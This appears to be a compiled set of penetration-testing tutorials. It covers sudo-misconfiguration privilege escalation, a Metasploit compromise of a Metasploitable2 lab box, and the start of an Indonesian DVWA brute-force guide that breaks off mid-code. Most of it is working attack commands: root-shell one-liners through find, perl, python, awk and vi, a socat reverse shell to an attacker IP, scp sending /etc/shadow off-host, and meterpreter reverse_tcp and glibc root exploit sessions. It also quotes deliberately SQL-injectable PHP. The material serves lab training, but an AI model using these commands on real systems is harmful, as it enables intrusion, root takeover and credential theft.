<figure><img src="https://miro.medium.com/v2/resize:fit:717/1*ijt1_j9YSgDwbMFZ20Furg.png" alt="" height="44" width="478"><figcaption></figcaption></figure>

<figure><img src="https://miro.medium.com/v2/resize:fit:1050/1*X9tVm1jDjHPHPkwXU-7jYA.png" alt="" height="157" width="700"><figcaption></figcaption></figure>

Now lets search for any bin having SUID bit set.

<figure><img src="https://miro.medium.com/v2/resize:fit:1050/1*Vj_b2WkOovRCo2bUXZX5TA.png" alt="" height="544" width="700"><figcaption></figcaption></figure>

We have got lots of binaries with SUID bit set and I am gonna use nmap here to do the privilege escalation.

<figure><img src="https://miro.medium.com/v2/resize:fit:1050/1*BW6qM6saEnk5yB4_-AbZDQ.png" alt="" height="154" width="700"><figcaption></figcaption></figure>

<br>


# Linux Privilege Escalation with Misconfigured Sudo

Source https\://www\.hackingarticles.in

**Let’s Start with Theoretical Concept!!**

In Linux/Unix, a sudoers file inside /etc is the configuration file for sudo rights. We all know the power of sudo command, the word sudo represent **S**uper **U**ser **D**o root privilege task. Sudoers file is that file where the users and groups with root privileges are stored to run some or all commands as root or another user. Take a look at the following image.

<figure><img src="https://2.bp.blogspot.com/-ai15msp43M8/WwZTT0rFHcI/AAAAAAAAXAk/8gow32i4VOEH9AcjKl5WCQrjiAeXU_K3gCLcBGAs/s1600/1.png" alt=""><figcaption></figcaption></figure>

When you run any command along with sudo, it needs root privileges for execution, Linux checks that particular username within the sudoers file. And it concluded, that the particular username is in the list of sudoers file or not, if not then you cannot run the command or program using the sudo command. As per sudo rights the root user can execute from ALL terminals, acting as ALL users: ALL group, and run ALL command.

GTFOBins is the prime resource for finding the appropriate methods for the binaries.

**GTFOBins:** [https://gtfobins.github.io/](https://gtfobins.github.io)

Sudoer File Syntax

&#x20;If you (root user) wish to grant sudo right to any particular user then type **visudo** command which will open the sudoers file for editing. Under “user privilege specification” you will observe default root permission “**root ALL=(ALL:ALL) ALL**” BUT in actual, there is **Tag option** also available which is **optional,** as explained below in the following image.

Consider the given example where we want to assign sudo rights for user:raaz to access the terminal and run copy command with root privilege. Here NOPASSWD tag that means no password will be requested for the user.

NOTE:

1. (ALL:ALL) can also represent as (ALL)
2. If you found (root) in place of (ALL:ALL) then it denotes that user can run the command as root.
3. If nothing is a mention for user/group then it means sudo defaults to the root user.&#x20;

#### **Spawn Root Access**

On other hands start your attacking machine and first compromise the target system and then move to privilege escalation phase. Suppose you successfully login into victim’s machine through ssh and want to know sudo rights for the current user then execute below command.

```
sudo -l
```

In the traditional method, PASSWD option is enabled for user authentication while executing the above command and it can be disabled by using NOPASSWD tag. The highlighted text is indicating that the current user is authorized to execute all command. Therefore we have obtained root access by executing the command.

```
sudo su
id
```

<figure><img src="https://2.bp.blogspot.com/-PaDxpIQHpC0/WwZTYh9QDeI/AAAAAAAAXB0/RDKrrFIzhZIvjFzzK3mruBWajVmnO_XPgCLcBGAs/s1600/4.png" alt=""><figcaption></figcaption></figure>

#### **Spawn Root Access**

Again compromise the target system and then move for privilege escalation stage as done above and execute the below command to view sudo user list.

```
sudo -l
```

Here you can perceive the highlighted text which is representative that the user raaz can run all command as root user. Therefore we can achieve root access by performing further down steps.

```
sudo su
or
sudo bash
```

**Note:** Above both methods will ask user’s password for authentication at the time of execution of **sudo -l** command because by Default PASSWD option is enabled.

<figure><img src="https://2.bp.blogspot.com/-KXDRut3kQus/WwZTZNK3NNI/AAAAAAAAXB8/RRF95tp-9NAU_EAfMLLvwjuP6oNEdbbHQCLcBGAs/s1600/7.png" alt=""><figcaption></figcaption></figure>

#### **Spawn Root Access using Find Command**

Again compromised the Victim’s system and then move for privilege escalation phase and execute below command to view sudo user list.

```
sudo -l
```

At this point, you can notice the highlighted text is indicating that the user raaz can run any command through find command. Therefore we got root access by executing below commands.

```
sudo find /home -exec /bin/bash \;
id
```

&#x20;

<figure><img src="https://2.bp.blogspot.com/-B_Boz4ArL8o/WwZTT9bCHpI/AAAAAAAAXAg/9tx9bbHfPXsuG5bir2fBSGRukd5ucTDHgCLcBGAs/s1600/11.png" alt=""><figcaption></figcaption></figure>

#### **Spawn shell using Perl**

At the time of privilege, escalation phase executes below command to view the sudo user list.

```
sudo -l
```

Now you can observe the highlighted text is showing that the user raaz can run Perl language program or script as root user. Therefore we got root access by executing Perl one-liner.

```
sudo perl -e 'exec "/bin/bash";'
id
```

<figure><img src="https://1.bp.blogspot.com/-I1TaJ-ZVUbw/WwZTUtk6LXI/AAAAAAAAXAs/5Zl9NdRrDwkIxg1fsJHpkRHySvDT6GZkwCLcBGAs/s1600/13.png" alt=""><figcaption></figcaption></figure>

#### **Spawn shell using Python**

After compromising the target system and then move for privilege escalation phase as done above and execute the below command to view the sudo user list.

```
sudo -l
```

At this point, you can perceive the highlighted text is indicating that the user raaz can run Python language program or script as root user. Thus we acquired root access by executing Python one-liner.

```
sudo python -c 'import pty;pty.spawn("/bin/bash")'
id
```

<figure><img src="https://3.bp.blogspot.com/-ybEFrJq8PR0/WwZTUT_VSTI/AAAAAAAAXAo/hs0x2CTUL0kGd4VXdEreic4Ea0ovg_AwgCLcBGAs/s1600/14.png" alt=""><figcaption></figcaption></figure>

#### **Spawn shell using Less Command**

For the privilege, escalation phase executes below command to view the sudo user list.

```
sudo -l
```

![](https://4.bp.blogspot.com/-pwLd4I0nS78/WwZTUlPjQwI/AAAAAAAAXAw/Gok_4ZpheUoN2lJ961XyyPixI3bfzaHGwCLcBGAs/s1600/16.png)

Here you can observe the highlighted text which is indicating that the user raaz can run less command as root user. Hence we obtained root access by executing the following.

```
sudo less /etc/hosts
```

<figure><img src="https://1.bp.blogspot.com/-WakRShQRD_s/WwZTVC_bh4I/AAAAAAAAXA0/8trMMtN0fWo-fghXJJjo1ZVnlYhX8dc7wCLcBGAs/s1600/17.png" alt=""><figcaption></figcaption></figure>

It will open requested system file for editing, BUT for spawning root shell type **!bash** as shown below and hit enter.

You will get root access as shown in the below image.

<figure><img src="https://3.bp.blogspot.com/-awIMJQqnZ4o/WwZTVX6T8VI/AAAAAAAAXA4/Ra1nm_ItAJ4dwOdNtFkRJgIaDOwAbRkRgCLcBGAs/s1600/18.png" alt=""><figcaption></figcaption></figure>

#### **Spawn shell using AWK**

After the compromise, the target system then moves for privilege escalation phase as done above and execute the below command to view the sudo user list.

```
sudo -l
```

At this phase, you can notice the highlighted text is representing that the user raaz can run AWK language program or script as root user. Therefore we obtained root access by executing AWK one-liner.

```
sudo awk 'BEGIN {system("/bin/bash")}'
id
```

<figure><img src="https://3.bp.blogspot.com/-3z4d9NLyZDY/WwZTVdOxolI/AAAAAAAAXA8/MNXLKudiLMYK46u-v2_HZCtCE66OYNupgCLcBGAs/s1600/19.png" alt=""><figcaption></figcaption></figure>

#### **Spawn shell using Man Command (Manual page)**

For privilege escalation and execute below command to view sudo user list.

```
sudo -l
```

Here you can observe the highlighted text is indicating that the user raaz can run man command as root user. Therefore we got root access by executing the following.

```
sudo man man
```

<figure><img src="https://3.bp.blogspot.com/-Ga7s49HvIwk/WwZTWXR7FqI/AAAAAAAAXBE/GP0HgHi5REwrjiAxvJn4kU1-g3-hHsKDACLcBGAs/s1600/20.png" alt=""><figcaption></figcaption></figure>

It will be displaying Linux manual pages for editing, BUT for spawning root shell type **!bash** as presented below and hit enter, you get root access as done above using Less command.

<figure><img src="https://1.bp.blogspot.com/-OtJcnU-fFes/WwZTWSvUeQI/AAAAAAAAXBI/TEDWwTP4YLY8ggD-FqGTEB29NuCihVj3ACLcBGAs/s1600/21.png" alt=""><figcaption></figcaption></figure>

You will get root access as shown in the below image.

![](https://1.bp.blogspot.com/-nPNaM0oVeJQ/WwZjoTQRCsI/AAAAAAAAXCk/SMB8EqA2qQgevyIUvQhQ7PesVzOFyG1_gCLcBGAs/s1600/24.png)

#### **Spawn shell using Vi-editor (Visual editor)**

After compromising the target system and then move for privilege escalation phase as done above and execute the below command to view the sudo user list.

```
sudo -l
```

Here you can observe the highlighted text which is indicating that user raaz can run vi command as root user. Consequently, we got root access by executing the following.

```
sudo vi
```

![](https://4.bp.blogspot.com/-jPyDZ5nFYEw/WwZTWwrFqMI/AAAAAAAAXBQ/Ouvc7z5hqw0XQXbhPYuz16IdvUzLwvQSgCLcBGAs/s1600/22.png)

Thus, It will open vi editors for editing, BUT for spawning root shell type **!bash** as shown below and hit enter, you get root access as done above using Less command.

<figure><img src="https://3.bp.blogspot.com/-U2diXcQMxs0/WwZTW47RU-I/AAAAAAAAXBU/hgSzbDISebsa5HZsiF1-t7ZaSBVQv_RNgCLcBGAs/s1600/23.png" alt=""><figcaption></figcaption></figure>

You will get root access as shown in the below image.

```
id
whoami
```

**NOTE:** sudo permission for less, nano, man, vi and man is very dangerous as they allow the user to edit system file and lead to Privilege Escalation.&#x20;

&#x20;

<figure><img src="https://2.bp.blogspot.com/-ZDKThMqVdHQ/WwZTXDs21yI/AAAAAAAAXBY/ute2d8OVU6I39Yo-d8FQ-g-vGo6JRi_XgCLcBGAs/s1600/24.png" alt=""><figcaption></figcaption></figure>

#### &#x20;**Allow Root Privilege to Shell Script**

There are maximum chances to get any kind of script for the system or program call, it can be any script either Bash, PHP, Python or C language script. Suppose you (system admin) want to give sudo permission to any script which will provide bash shell on execution.

*For example, we have some scripts which will provide root terminal on execution, in given below image you can observe that we have written 3 programs for obtaining bash shell by using different programing language and saved all three files: **asroot.py, asroot.sh, asroot.c** (compiled file **shell**) inside bin/script.*

**NOTE:** While solving OSCP challenges you will find that some script is hidden by the author for exploit kernel or for root shell and set sudo permission to any particular user to execute that script.

<figure><img src="https://2.bp.blogspot.com/-j6xIQCMa72I/WwZTXaOYcVI/AAAAAAAAXBc/Jnpts2JpoHIebObctZKpJJiXhDkpCKkoQCLcBGAs/s1600/25.png" alt=""><figcaption></figcaption></figure>

Now allow raaz to run all above script as root user by editing sudoers file with the help of the following command.

```
raaz ALL= (root) NOPASSWD: /bin/script/asroot.sh, /bin/script/asroot.py, /bin/script/shell
```

<figure><img src="https://2.bp.blogspot.com/-mqbztNiaMww/WwZTXhfoGCI/AAAAAAAAXBg/xXqwJiwJA7oOPF1HDPURKOLSGMPFk7MYgCLcBGAs/s1600/26.png" alt=""><figcaption></figcaption></figure>

#### **Spawn root shell by Executing Bash script**

For the privilege, escalation phase executes below command to view the sudo user list.

```
sudo -l
```

The highlighted text is indicating that the user raaz can run asroot.sh as the root user. Therefore we got root access by running asroot.sh script.

```
sudo /bin/script/asroot.sh
id
```

<figure><img src="https://1.bp.blogspot.com/-nloPAfhDgcQ/WwZTX8GnfxI/AAAAAAAAXBk/5IOM2UUB6rA-u1QCkhxfCFBw0587QtMZwCLcBGAs/s1600/27.png" alt=""><figcaption></figcaption></figure>

#### **Spawn root shell by Executing Python script**

Execute below command for privilege escalation to view sudo user list.

```
sudo -l
```

At this time the highlighted text is showing that user raaz can run asroot.py as the root user. Therefore we acquired root access by executing the following script.

```
sudo /bin/script/asroot.py
id
```

![](https://2.bp.blogspot.com/--MPkOtDjETQ/WwZTYJ0zZCI/AAAAAAAAXBo/avWmmoOzn5EqhsC4992AZX4lscY9jH6YACLcBGAs/s1600/28.png)

#### **Spawn root shell by Executing C Language script**

After compromising the target system and then move for privilege escalation and execute below command to view the sudo user list.

```
sudo -l
```

Here you can perceive the highlighted text is indicating that the user raaz can run shell (asroot.c compiled file) as the root user. So we obtained root access by executing the following shell.

```
sudo /bin/script/shell
id
```

![](https://3.bp.blogspot.com/-VPe-tKOmB1Q/WwZTYTF5yII/AAAAAAAAXBs/x4LLW7vB--sErAKEOv1tse1hCh7nEJhAgCLcBGAs/s1600/29.png)

#### **Allow Sudo Right to other Programs**

As we have seen above, some binary programs with sudo right are helpful in getting root access. But apart from that, there are some application which can also provide root access if owned sudo privilege such as FTP or socat.  In given below command we have assign sudo rights to the following program which can be run as root user.

```
raaz ALL=(ALL) NOPASSWD: /usr/bin/env, /usr/bin/ftp, /usr/bin/scp, /usr/bin/socat
```

![](https://2.bp.blogspot.com/-J8xJCvskWHQ/W3BOhzc1seI/AAAAAAAAZsA/Emu2n-Fn4VYgh7Dz2epWMeve1sscjpL8QCLcBGAs/s1600/0.png)

#### **Spawn Shell Using Env**

&#x20;At the time of privilege escalation phase, executes below command to view sudo user list.

```
sudo -l
```

As we can observe user: raaz has sudo rights for env, FTP, SCP, and Socat, now let’s try to get root access through them one-by-one.

```
sudo env /bin/bash
whoami
```

![](https://3.bp.blogspot.com/-22D-TwyJWNQ/W3BOh6zBgfI/AAAAAAAAZsE/gw_YjVSig0kUa4xnzV_yGo2fqHJpGmkSgCLcBGAs/s1600/1.png)

#### **Spawn Shell Using FTP**

Now let’s try to get root access through FTP with the help of following commands:

```
sudo ftp
! /bin/bash
whoami
or
! /bin/sh
id
whoami
```

![](https://2.bp.blogspot.com/-5vW-UNCSNfc/W3BOhk_4VFI/AAAAAAAAZr8/uslfJKdfJTUr372x6TUJcmLeCwC3CvPQgCLcBGAs/s1600/2.png)

#### **Spawn Shell Using Socat**

Now let’s try to get root access through socat with the help of following commands. Execute below command on the attacker’s terminal in order to enable listener for reverse connection.

```
socat file:`tty`,raw,echo=0 tcp-listen:1234
```

Then run the following command on victim’s machine and you will get root access on your attacker machine.

```
sudo socat exec:'sh -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.105:1234
```

![](https://3.bp.blogspot.com/-XmeRwflSsa0/W3BOic6vYDI/AAAAAAAAZsI/RBCsUYCUSIsvOiZKHFgTf7RGNhWenFXUgCLcBGAs/s1600/3.png)

![](https://1.bp.blogspot.com/-n0edo3JPYHo/W3BOiyL2eiI/AAAAAAAAZsM/cmDdirECHVQarLdRvIH-TuGPCgHVpPVdQCLcBGAs/s1600/4.png)

#### **Spawn shell through SCP**

As we know sudo right is available for SCP but it is not possible to get bash shell directory as shown above because it is a means of securely moving any files between a local host and a remote host. Therefore we can use it for transferring those system files which requires root permission to perform read/write operation such as /etc/passwd and /etc/shadow files.

**Syntax:** scp SourceFile user\@host:\~/path of the directory

```
sudo scp /etc/passwd aarti@192.168.1.105:~/
sudo scp /etc/shadow aarti@192.168.1.105:~/
```

![](https://2.bp.blogspot.com/-bgqCwS-nO2U/W3BOi0DwLII/AAAAAAAAZsQ/n-GROVJPMQkk9uXXDju8Z_-iObdOQ9xdgCLcBGAs/s1600/5.png)

Now let’s confirm the transformation by inspecting remote directory and as you can observe we have successfully received passwd and shadow files in our remote pc.

![](https://2.bp.blogspot.com/-hyZICA9iHdU/W3BOjF4188I/AAAAAAAAZsU/EZeXDQq6mBsqdWtwlMEqTY8SKSrLPEy1ACLcBGAs/s1600/6.png)


# Linux Privilege Escalation with MSF

Case study Metasploitable2. Source https\://null-byte.wonderhowto.com

### Get Session on Target

The first thing we need to do is get a session with low privileges on the target. We can easily do this with Metasploit. Type **msfconsole** in the terminal to launch it.

````unknown
~$ msfconsole

[-] ***rting the Metasploit Framework console...\
[-] * WARNING: No database support: No database YAML file
[-] ***

                                   .,,.                  .
                                .\$$$$$L..,,==aaccaacc%#s$b.       d8,    d8P
                     d8P        #$$$$$$$$$$$$$$$$$$$$$$$$$$$b.    `BP  d888888p
                  d888888P      '7$$$$\""""''^^`` .7$$$|D*"'```         ?88'
  d8bd8b.d8p d8888b ?88' d888b8b            _.os#$|8*"`   d8P       ?8b  88P
  88P`?P'?P d8b_,dP 88P d8P' ?88       .oaS###S*"`       d8P d8888b $whi?88b 88b
 d88  d8 ?8 88b     88b 88b  ,88b .osS$$$$*" ?88,.d88b, d88 d8P' ?88 88P `?8b
d88' d88b 8b`?8888P'`?8b`?88P'.aS$$$$Q*"`    `?88'  ?88 ?88 88b  d88 d88
                          .a#$$$$$$"`          88b  d8P  88b`?8888P'
                       ,s$$$$$$$"`             888888P'   88n      _.,,,ass;:
                    .a$$$$$$$P`               d88P'    .,.ass%#S$$$$$$$$$$$$$$'
                 .a$###$$$P`           _.,,-aqsc#SS$$$$$$$$$$$$$$$$$$$$$$$$$$'
              ,a$$###$$P`  _.,-ass#S$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$####SSSS'
           .a$$$$$$$$$$SSS$$$$$$$$$$$$$$$$$$$$$$$$$$$$SS##==--""''^^/$$$$$$'
_______________________________________________________________   ,&$$$$$$'_____
                                                                 ll&&$$$$'
                                                              .;;lll&&&&'
                                                            ...;;lllll&'
                                                          ......;;;llll;;;....
                                                           ` ......;;;;... .  .

       =[ metasploit v5.0.20-dev                          ]
+ -- --=[ 1886 exploits - 1065 auxiliary - 328 post       ]
+ -- --=[ 546 payloads - 44 encoders - 10 nops            ]
+ -- --=[ 2 evasion                                       ]

msf5 >
````

Metasploitable contains a vulnerable service called distccd, which is used to distribute program compilation across multiple systems, speeding things up by taking advantage of combined processor power. Unfortunately, this version of the program allows a remote attacker to execute arbitrary commands on the server.

We can search for the exploit using the **search** command:

```unknown
msf5 > search distcc

Matching Modules
================

   #  Name                           Disclosure Date  Rank       Check  Description
   -  ----                           ---------------  ----       -----  -----------
   0  exploit/unix/misc/distcc_exec  2002-02-01       excellent  Yes    DistCC Daemon Command Execution
```

To load the module, type **use** followed by the full path of the module:

```unknown
msf5 > use exploit/unix/misc/distcc_exec
```

We can now see the available settings with the **options** command:

```unknown
msf5 exploit(unix/misc/distcc_exec) > options

Module options (exploit/unix/misc/distcc_exec):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target address range or CIDR identifier
   RPORT   3632             yes       The target port (TCP)

Exploit target:

   Id  Name
   --  ----
   0   Automatic Target
```

It looks like we only need to set the remote host address since the remote port is already set using the default port number. Use the **set** command to specify the appropriate IP address of the target:

```unknown
msf5 exploit(unix/misc/distcc_exec) > set rhosts 10.10.0.50

rhosts => 10.10.0.50
```

Now we are ready to launch the exploit . Use the **run** command, which is just a shorter alias for exploit:

```unknown
msf5 exploit(unix/misc/distcc_exec) > run

[*] Started reverse TCP double handler on 10.10.0.1:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo sWI9yfQYbPxuIGrh;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "sWI9yfQYbPxuIGrh\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (10.10.0.1:4444 -> 10.10.0.50:58006) at 2019-11-19 11:46:02 -0500

uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
```

We can see that a command shell was opened, and running **uname -a** verifies we have compromised the target.

### Step 2Upgrade to Meterpreter <a href="#jump-step2" id="jump-step2"></a>

To use Metasploit's local exploit suggester, we need to upgrade our basic Unix command shell to a Meterpreter session. While still in the basic command shell, press *Ctrl-Z* to background the session. Hit *Y* if it asks you to background it.

```unknown
Background session 1? [y/N]  y
msf5 exploit(unix/misc/distcc_exec) >
```

We are now dropped back to the main Metasploit prompt, and we can verify any sessions we have running in the background with the **sessions** command:

```unknown
msf5 exploit(unix/misc/distcc_exec) > sessions

Active sessions
===============

  Id  Name  Type            Information  Connection
  --  ----  ----            -----------  ----------
  1         shell cmd/unix               10.10.0.1:4444 -> 10.10.0.50:58006 (10.10.0.50)
```

The easiest way to upgrade a regular shell to a Meterpreter session is to use the **-u** flag followed by the session number to upgrade:

```unknown
msf5 exploit(unix/misc/distcc_exec) > sessions -u 1

[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.10.0.1:4433
[*] Sending stage (985320 bytes) to 10.10.0.50
[*] Meterpreter session 2 opened (10.10.0.1:4433 -> 10.10.0.50:32979) at 2019-06-19 11:47:52 -0500
[*] Command stager progress: 100.00% (773/773 bytes)
```

We can see the post module that runs and a new session is opened. We can again verify this with the **sessions** command:

```unknown
msf5 exploit(unix/misc/distcc_exec) > sessions

Active sessions
===============

  Id  Name  Type                   Information                                                Connection
  --  ----  ----                   -----------                                                ----------
  1         shell cmd/unix                                                                    10.10.0.1:4444 -> 10.10.0.50:58006 (10.10.0.50)
  2         meterpreter x86/linux  uid=1, gid=1, euid=1, egid=1 @ metasploitable.localdomain  10.10.0.1:4433 -> 10.10.0.50:32979 (10.10.0.50)
```

And we can interact with our new Meterpreter session using the **-i** flag on the desired session:

```unknown
msf5 exploit(unix/misc/distcc_exec) > sessions -i 2

[*] Starting interaction with 2...

meterpreter >
```

### Step 3Run Exploit Suggester <a href="#jump-step3" id="jump-step3"></a>

Metasploit post modules work by running on a background session, not directly in the session itself, so background session 2 (our Meterpreter shell) and return to the main prompt. We can then load the local exploit suggester using the following command:

```unknown
msf5 exploit(unix/misc/distcc_exec) > use post/multi/recon/local_exploit_suggester
```

When we take a look at the options, we only need to specify the session we want to run this on:

```unknown
msf5 post(multi/recon/local_exploit_suggester) > options

Module options (post/multi/recon/local_exploit_suggester):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   SESSION                           yes       The session to run this module on
   SHOWDESCRIPTION  false            yes       Displays a detailed description for the available exploits
```

Simply set the session to number 2, which is our Meterpreter shell:

```unknown
msf5 post(multi/recon/local_exploit_suggester) > set session 2

session => 2
```

And type **run** to kick it off:

```unknown
msf5 post(multi/recon/local_exploit_suggester) > run

[*] 10.10.0.50 - Collecting local exploits for x86/linux...
[*] 10.10.0.50 - 26 exploit checks are being tried...
[+] 10.10.0.50 - exploit/linux/local/glibc_ld_audit_dso_load_priv_esc: The target appears to be vulnerable.
[+] 10.10.0.50 - exploit/linux/local/glibc_origin_expansion_priv_esc: The target appears to be vulnerable.
[+] 10.10.0.50 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
[*] Post module execution completed
```

We can see the module checks a number of local exploits and returns a few that seem viable. Awesome.

### Step 4Get Root <a href="#jump-step4" id="jump-step4"></a>

The final thing we need to do is use one of these exploits to get root on the system. We'll try the first one that was suggested to us. This exploit takes advantage of a vulnerability in the glibc dynamic linker, in which the LD\_AUDIT environmental variable allows loading of a setuid object that ultimately runs with root privileges.

```unknown
msf5 post(multi/recon/local_exploit_suggester) > use exploit/linux/local/glibc_ld_audit_dso_load_priv_esc
```

Looking at the options, we only need to set the session again — the default executable path will work for now:

```unknown
msf5 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > options

Module options (exploit/linux/local/glibc_ld_audit_dso_load_priv_esc):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   SESSION                           yes       The session to run this module on.
   SUID_EXECUTABLE  /bin/ping        yes       Path to a SUID executable

Exploit target:

   Id  Name
   --  ----
   0   Automatic
```

Set the session just like before:

```unknown
msf5 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set session 2

session => 2
```

We can also set the payload to give us another Meterpreter session when the exploit completes:

```unknown
msf5 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set payload linux/x86/meterpreter/reverse_tcp

payload => linux/x86/meterpreter/reverse_tcp
```

And set the appropriate listening host (the IP address of our local machine) and port:

```unknown
msf5 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set lhost 10.10.0.1

lhost => 10.10.0.1

msf5 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set lport 4321

lport => 4321
```

Finally, type **run** to launch the exploit:

```unknown
msf5 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > run

[*] Started reverse TCP handler on 10.10.0.1:4321
[+] The target appears to be vulnerable
[*] Using target: Linux x86
[*] Writing '/tmp/.BlrZu4n' (1271 bytes) ...
[*] Writing '/tmp/.18qZUt' (281 bytes) ...
[*] Writing '/tmp/.DoiFwlxPt' (207 bytes) ...
[*] Launching exploit...
[*] Sending stage (985320 bytes) to 10.10.0.50
[*] Meterpreter session 3 opened (10.10.0.1:4321 -> 10.10.0.50:56950) at 2019-11-19 11:57:19 -0500

meterpreter >
```

We now have a new Meterpreter session on the target, and we can drop into a shell to verify we have obtained root access:

```unknown
meterpreter > shell
Process 4886 created.
Channel 1 created.
id
uid=0(root) gid=0(root) groups=1(daemon)
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
```

### Wrapping Up <a href="#jump-wrappingup" id="jump-wrappingup"></a>

In this tutorial, we learned how to use Metasploit to get a shell on the target, upgrade that shell to a Meterpreter session, and use the local exploit suggester module to ultimately get root on the system. Metasploit not only makes initial exploitation easy but the post-exploitation phase as well. In the next article, we will explore some useful post modules to quickly gather information about the target.


# DVWA

Cheatsheet penyelesaian DVWA.

Cheatsheet ini disadur dari tulisan saudara[ **Muhammad Aprian**](https://www.linkedin.com/in/nairpaa/)**.**&#x54;erimakasih kepada saudara Muhammad Aprian atas kesediaannya memeperkenankan saya menyadur catatan DVWA Guide.

![Logo DVWA](/files/-McoiAYyC9yJ_h17qZMn)

**​**[**DVWA**](http://www.dvwa.co.uk/) adalah aplikasi web yang dirancang khusus memiliki berbagai macam kerentanan agar kita bisa mempelajarinya.

Tujuan dari DVWA adalah **mempraktikan beberapa kerentanan web yang umum ditemui** dengan **berbagai level kesulitan** dan antarmuka langsung yang sederhana.

Aplikasi ini sangat cocok bagi:

* **Security Professional** untuk menguji skills dan tools
* **Siswa** dan **Guru** dalam mempelajari keamanan aplikasi Android

**Versi DVWA yang digunakan adalah versi v1.10.**

\
Catatan ini ditujukan untuk dokumentasi pembelajaran Damn Vulnerable Web App ([DVWA](https://dvwa.co.uk/)).

##


# Brute Force

**Brute force attack** masih menjadi salah satu teknik cracking password paling populer yang dilakukan untuk meretas password. Serangan ini dilakukan agar peretas mendapatkan password untuk bisa masuk ke dalam sistem.

## Apa itu Brute Force?

**Brute Force** adalah serangan yang dilakukan untuk meretas password dengan cara mencoba setiap password sampai akhirnya menemukan password yang tepat.&#x20;

{% hint style="info" %}
Selain untuk meretas password, brute force juga bisa digunakan untuk mencari username atau yang lainnya, bahkan bisa di-*mix* (contoh: username dan password).
{% endhint %}

Peretas akan menggunakan algoritma yang menggabungkan huruf, angka dan simbol (sesuai dengan racikannya) untuk menghasilkan password yang valid. Seperti mencoba menggunakan kata “password” yang ditulis dan dikombinasikan dengan simbol sehingga menjadi “p@$$word”.

**Keberhasilan** dari teknik ini adalah bergantung terhadap "racikan" wordlist yang si peretas buat. Dalam *real case*-nya, biasanya peretas mengumpulkan informasi (*information gathering*) sebanyak-banyaknya, termasuk diantaranya adalah dengan melakukan *social engineering*.

## Apa itu Wordlist?

Dalam hal ini, wordlist adalah kumpulan kata (password) yang akan dicoba satu per satu untuk menemukan password yang valid.

Salah satu wordlist yang terkenal adalah [rockyou.txt](https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt). File tersebut berisi jutaan password yang umum digunakan.

Tetapi biasanya orang-orang tidak menggunakan kata-kata seperti itu lagi, dan walaupun ada, akan memakan waktu yang sangat lama, karena adanya jutaan kata yang dicoba. Sehingga pada *real case*, sebaiknya kita melakukan *information gathering* sebaik-baiknya dan meracik *wordlist* sendiri.

## Pengetahuan yang Harus Dimiliki

Ada beberapa pemahaman yang sebaiknya dimiliki untuk melakukan brute force (khususnya pada DVWA) adalah:

1. Penggunaan tool seperti **Hydra** dan **Burpsuite** akan kita gunakan nantinya.
2. Penggunaan *search engine* seperti **google**. Nantinya anda mungkin akan menemukan sesuatu yang baru dan sebagai pentester anda harus bisa mempelajari sesuatu dengan cepat.

Ada pun dalam *real case*-nya, pemahaman seperti *limiting*, WAF, *scripting*, dll., saya rasa itu akan mudah dipelajari ketika anda telah terbiasa dengan 2 hal di atas.

## Bagaimana Meminimalisir Brute Force?

Ada beberapa cara untuk meminimalisir atau menghambat serangan brute force, yaitu:

1. Limit kesalahan password\
   Ketika user salah menginputkan password dalam 3x (atau berapa pun sesuai kebijakan masing-masing), maka ia harus menunggu beberapa waktu terlebih dahulu agar bisa melakukan login kembali.
2. Menambahkan CAPTCHA\
   CAPTCHA adalah suatu bentuk uji tantangan-tanggapan (*challenge-response test*) yang digunakan untuk memastikan bahwa jawaban tidak dihasilkan oleh robot (*bot*).
3. Port Knocking\
   Port Knocking adalah metode yang dilakukan untuk membuka akses ke port tertentu yang telah di-*block* oleh Firewall pada perangkat jaringan dengan cara mengirimkan paket atau koneksi tertentu. Biasanya teknik ini digunakan untuk koneksi SSH.
4. Dan lain-lain.


# Low

Brute Force level Low on DVWA

Di bawah ini adalah *source-code* dari form login level low di DVWA.

```php
vulnerabilities/brute/source/low.php
<?php
​
if( isset( $_GET[ 'Login' ] ) ) {
    // Get username
    $user = $_GET[ 'username' ];
​
    // Get password
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );
​
    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
​
    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];
​
        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }
​
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
​
?>
```

## Mencari Informasi <a href="#mencari-informasi" id="mencari-informasi"></a>

Perhatikan bahwa form ini menggunakan method `GET`, sehingga data akan dikirim melalui URL. Contohnya, ketika saya mengisi nilai username menjadi *"admin"* dan password *"123456"*, maka data tersebut akan terlihat di URL-nya:

```
